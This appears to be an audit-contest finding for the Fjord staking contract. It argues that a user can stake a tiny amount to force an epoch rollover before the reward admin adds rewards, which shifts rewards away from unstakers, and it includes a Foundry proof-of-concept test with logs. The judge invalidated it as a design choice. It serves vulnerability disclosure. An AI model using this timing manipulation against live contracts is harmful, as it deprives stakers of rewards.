Fjord Token Staking
Fjord
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Invalid

A malicious user can flip the epoch before the `rewardAdmin` calls the `addReward()` function, causing users who cancel their stake in the current epoch to be unable to obtain the rewards corresponding to that epoch.

joicygiore

Summary

A malicious user can flip the epoch before the rewardAdmin calls the addReward() function, causing users who cancel their stake in the current epoch to be unable to obtain the rewards corresponding to that epoch.

Vulnerability Details

In the FjordStaking contract, the rewardAdmin adds rewards to the current epoch by calling the addReward() function. The _checkEpochRollover() function is responsible for updating the epoch number.

The rewardAdmin calls the FjordStaking::addReward() function, which transfers tokens first and then calls _checkEpochRollover() to update rewardPerToken[i]. However, if the epoch is rolled over in advance, the code within the if (latestEpoch > currentEpoch) block will not be executed as expected.

Relevant Code Snippet:

// FjordStaking::addReward()
function addReward(uint256 _amount) external onlyRewardAdmin {
​
// SNIP...
​
//INTERACT
@> fjordToken.safeTransferFrom(msg.sender, address(this), _amount);
​
​
@> _checkEpochRollover();
​
​
emit RewardAdded(previousEpoch, msg.sender, _amount);
}
// FjordStaking::_checkEpochRollover()
function _checkEpochRollover() internal {
uint16 latestEpoch = getEpoch(block.timestamp);
​
​
@> if (latestEpoch > currentEpoch) {
//Time to rollover
​
// SNIP...
​
if (totalStaked > 0) {
uint256 currentBalance = fjordToken.balanceOf(address(this));
​
// no distribute the rewards to the users coming in the current epoch
uint256 pendingRewards = (currentBalance + totalVestedStaked + newVestedStaked)
- totalStaked - newStaked - totalRewards;
uint256 pendingRewardsPerToken = (pendingRewards * PRECISION_18) / totalStaked;
totalRewards += pendingRewards;
for (uint16 i = lastEpochRewarded + 1; i < currentEpoch; i++) {
@> rewardPerToken[i] = rewardPerToken[lastEpochRewarded] + pendingRewardsPerToken;
emit RewardPerTokenChanged(i, rewardPerToken[i]);
}
} else {
for (uint16 i = lastEpochRewarded + 1; i < currentEpoch; i++) {
@> rewardPerToken[i] = rewardPerToken[lastEpochRewarded];
emit RewardPerTokenChanged(i, rewardPerToken[i]);
}
}
// SNIP...
}
}

The _checkEpochRollover() function is called not only in addReward() but is also used as a modifier (checkEpochRollover()) in multiple functions callable by the user:

// FjordStaking::checkEpochRollover()
modifier checkEpochRollover() {
_checkEpochRollover();
_;
}
// FjordStaking::stake()
function stake(uint256 _amount) external checkEpochRollover redeemPendingRewards {}
// FjordStaking::stakeVested()
function stakeVested(uint256 _streamID) external checkEpochRollover redeemPendingRewards {}
// FjordStaking::unstake()
function unstake(uint16 _epoch, uint256 _amount) external checkEpochRollover redeemPendingRewards returns (uint256 total){}
//......

Due to this design, a malicious user can stake a small amount of tokens before the rewardAdmin calls addReward(), thereby triggering the epoch rollover prematurely. This behavior will cause the rewards added by addReward() to enter the next epoch rather than the expected current epoch. As a result, users who cancel their stake in the current epoch will miss out on these rewards.

Poc

Please add the code to test/unit/unstake.t.sol and execute it:

function test_preemptive_epoch_flip() public {
////////////////////////////////////////////////////
// FjordStakingBase::_addRewardAndEpochRollover() //
////////////////////////////////////////////////////
// function _addRewardAndEpochRollover(uint256 reward, uint256 times) internal returns (uint16) {
// vm.startPrank(minter);
// for (uint256 i = 0; i < times; i++) {
// vm.warp(vm.getBlockTimestamp() + fjordStaking.epochDuration());
// fjordStaking.addReward(reward);
// }
// vm.stopPrank();
// return fjordStaking.currentEpoch();
// }
​
// Add 7 ether reward and move to 8 epoch
for(uint256 i = 0; i < 7; ++i) {
_addRewardAndEpochRollover(1 ether, 1);
}
assertEq(fjordStaking.currentEpoch(), 8);
uint256 snapshot = vm.snapshot(); // saves the state
console.log("---------- rewardAdmin executes `addReward()` normally ----------");
// rewardAdmin executes `addReward()` normally
_addRewardAndEpochRollover(1 ether, 1); // Add 1
​
// unstake()
fjordStaking.unstake(1,10 ether);
(,uint256 unclaimedRewards,,) = fjordStaking.userData(address(this));
console.log("unclaimedRewards:",unclaimedRewards);
​
// restores the state
vm.revertTo(snapshot);
console.log("---------- The attacker flips the epoch first ----------");
vm.warp(vm.getBlockTimestamp() + fjordStaking.epochDuration());
​
// Assume that Alice is the attacker
vm.prank(alice);
fjordStaking.stake(1); // The attacker flips the epoch first
​
// rewardAdmin executes `addReward()`
vm.prank(minter);
fjordStaking.addReward(1e18);
​
// unstake()
fjordStaking.unstake(1,10 ether);
(,unclaimedRewards,,) = fjordStaking.userData(address(this));
console.log("unclaimedRewards:",unclaimedRewards);
}
// [PASS] test_preemptive_epoch_flip() (gas: 669218)
// Logs:
// ---------- rewardAdmin executes `addReward()` normally ----------
// unclaimedRewards: 8000000000000000000
// ---------- The attacker flips the epoch first ----------
// unclaimedRewards: 7000000000000000000

Code Snippet

https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordStaking.sol#L755-L768
https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordStaking.sol#L691-L724
https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordStaking.sol#L368-L391
https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordStaking.sol#L315-L318

Impact

Malicious users can flip the epoch before the rewardAdmin calls addReward(), which causes users who cancel their stake in the current epoch to miss out on rewards they should have received, leading to incorrect reward distribution and financial losses for users.

Tools Used

Manual Review

Recommendations

Since the _checkEpochRollover() function is only executed once per epoch rollover, consider running a trusted and reliable off-chain bot. This bot should call addReward() to add rewards and trigger the epoch rollover as soon as the epoch meets the rollover criteria. Alternatively, you could add additional conditions to the _checkEpochRollover() function to allow users to call it with a delay, ensuring that addReward() is prioritized.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.